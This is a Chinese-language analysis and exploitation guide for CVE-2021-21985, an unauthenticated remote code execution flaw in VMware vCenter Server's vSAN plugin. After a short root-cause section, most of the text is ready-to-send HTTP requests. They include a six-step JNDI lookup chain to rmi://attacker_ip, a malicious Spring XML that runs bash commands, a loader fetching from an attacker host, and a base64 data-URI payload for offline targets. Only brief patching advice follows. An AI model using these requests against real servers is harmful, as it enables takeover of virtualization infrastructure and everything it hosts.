CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞分析
字数 1323 2025-08-05 08:17:46
VMware vCenter Server 远程代码执行漏洞(CVE-2021-21985)深度分析与利用指南
漏洞概述
CVE-2021-21985是VMware vCenter Server中的一个严重远程代码执行漏洞,CVSS评分高达9.8。该漏洞存在于vCenter Server的vSAN Health Check插件中,允许未经身份验证的攻击者通过开放端口443在目标系统上执行任意代码。
漏洞分析
漏洞根源
-
路由映射问题:
- 原始漏洞存在于
h5-vsan-context.jar!/WEB-INF/web.xml中,开放了对/rest/*的路由映射 - 补丁删除了这个路由映射,未授权访问会返回401
- 原始漏洞存在于
-
反射调用缺陷:
- 漏洞位于
com.vmware.vsan.client.services.ProxygenController类中 - 补丁添加了对method的判断,但原始版本缺乏足够的安全检查
- 漏洞位于
漏洞利用机制
漏洞利用基于Java反射方法,通过Spring框架的RequestMapping构造特定路由:
/service/{beanIdOrClassName}/{methodName}
攻击者可以:
- 通过
beanIdOrClassName指定目标类 - 通过
methodName指定要调用的方法 - 通过JSON格式的body传递参数
漏洞利用链分析
基本参数构造
请求体格式示例:
{"methodInput": [null]}
危险Spring Bean
关键危险类:
org.springframework.beans.factory.config.MethodInvokingFactoryBean- 继承链最终指向
org.springframework.util.MethodInvoker
这些类的方法大多是公开的,外部可以直接调用,特别是包含invoke()方法。
利用链构造
-
Tomcat RMI利用链:
- 利用
javax.naming.InitialContext.doLookup方法 - 通过RMI协议加载远程恶意类
- 利用
-
回显利用链:
- 利用
com.vmware.vim.vmomi.core.types.impl.VmodContextImpl的loadVmodlPackage方法 - 通过Spring解析XML造成SpEL注入
- 利用
漏洞复现
Tomcat RMI利用链POC
分步攻击示例:
- 设置targetObject为null:
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
Host: target_ip
Content-Type: application/json
Content-Length: 23
{"methodInput": [null]}
- 设置静态方法:
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
Host: target_ip
Content-Type: application/json
Content-Length: 57
{"methodInput": ["javax.naming.InitialContext.doLookup"]}
- 设置目标方法:
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
Host: target_ip
Content-Type: application/json
Content-Length: 29
{"methodInput": ["doLookup"]}
- 设置参数:
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
Host: target_ip
Content-Type: application/json
Content-Length: 56
{"methodInput": [["rmi://attacker_ip:1099/Exploit"]]}
- 准备调用:
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
Host: target_ip
Content-Type: application/json
Content-Length: 23
{"methodInput": [null]}
- 触发调用:
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
Host: target_ip
Content-Type: application/json
Content-Length: 23
{"methodInput": [null]}
可出网回显PoC
使用Spring XML注入实现命令执行和结果回显:
- 恶意context.xml示例:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[ ls -la / 2>&1 ]]></value>
</list>
</constructor-arg>
</bean>
<bean id="is" class="java.io.InputStreamReader">
<constructor-arg>
<value>#{pb.start().getInputStream()}</value>
</constructor-arg>
</bean>
<bean id="br" class="java.io.BufferedReader">
<constructor-arg>
<value>#{is}</value>
</constructor-arg>
</bean>
<bean id="collectors" class="java.util.stream.Collectors"></bean>
<bean id="system" class="java.lang.System">
<property name="whatever" value="#{ system.setProperty("output", br.lines().collect(collectors.joining("\n"))) }"/>
</bean>
</beans>
- 加载恶意XML:
POST /ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages HTTP/1.1
Host: target_ip
Content-Type: application/json
Content-Length: 44
{"methodInput": [["http://attacker_ip:9999"]]}
- 获取命令执行结果:
POST /ui/h5-vsan/rest/proxy/service/systemProperties/getProperty HTTP/1.1
Host: target_ip
Content-Type: application/json
Content-Length: 32
{"methodInput": ["output",null]}
不可出网PoC
利用SSRF通过data URI加载恶意内容:
POST /ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages HTTP/1.1
Host: target_ip
Content-Type: application/json
Content-Length: 893
{"methodInput": [["https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,UEsDBBQAAAAIAKd4xVKwSBTWpQEAAIgEAAASAAAAb2ZmbGluZV9idW5kbGUueG1spVNNT9wwFLwj8R/cIKGNxNrQ3rZJJD4uSCAhtodKlIPjfZsYHDv4OZtFiP+Oay9lv1ppSy5x3pt5mRnbWQlcI5k3SmOe1M61I8b6vqfYWqmrqeUN9MY+UmMrhqKGhrNASfb3SHwCdzRHucLvvwXK1+PjE/bz+mocqEOp0XEtYImNchTnXhnBnTQ6f2/uoGYXLIuAYfigc5wkRfxhyILISZ60ZUKE4ugjeeAzThXXFb2xRgDiWSfVBOw7KRCF8b5sJ5yxQ26rpZZvKolupeJrM646KFgpNSs51hmLha2oofhnO/tyd35x+uP0jvS14Y0k9/fFNkLG1oRkbLvsLMS0kYnE1UykoZe67dzYWeDNLfBdQvmj/uClLak/E9YNUlqBWxo5SF83fewourQbos+66RQsTP5fscTPCxNGKfgNXUu1c1JRDP7p+Qem+MsYfEYHzZbDOo6NZYGtNS1Y90y0vxl50tfcwcwnQIKVPDl4IXEcRXA3C/Dg8Kkz7rvpnN+XuD4ipaVKakC/ZQsfgw8/9MFI7e/XgvlLx3eapuQ1YeupxAUWb1BLAQIfABQAAAAIAKd4xVKwSBTWpQEAAIgEAAASACQAAAAAAAAAIAAAAAAAAABvZmZsaW5lX2J1bmRsZS54bWwKACAAAAAAAAEAGADeNPEi2VnXAd408SLZWdcBm/yF3shZ1wFQSwUGAAAAAAEAAQBkAAAA1QEAAAAA#"]]}
漏洞EXP参考
公开的漏洞利用代码:
- RMI反弹shell EXP: GitHub链接
- 可回显EXP: 同上仓库
修复建议
- 立即升级到VMware发布的最新补丁版本
- 如果无法立即升级,可以临时禁用vSAN Health Check插件
- 限制对vCenter Server的443端口的访问,仅允许可信IP访问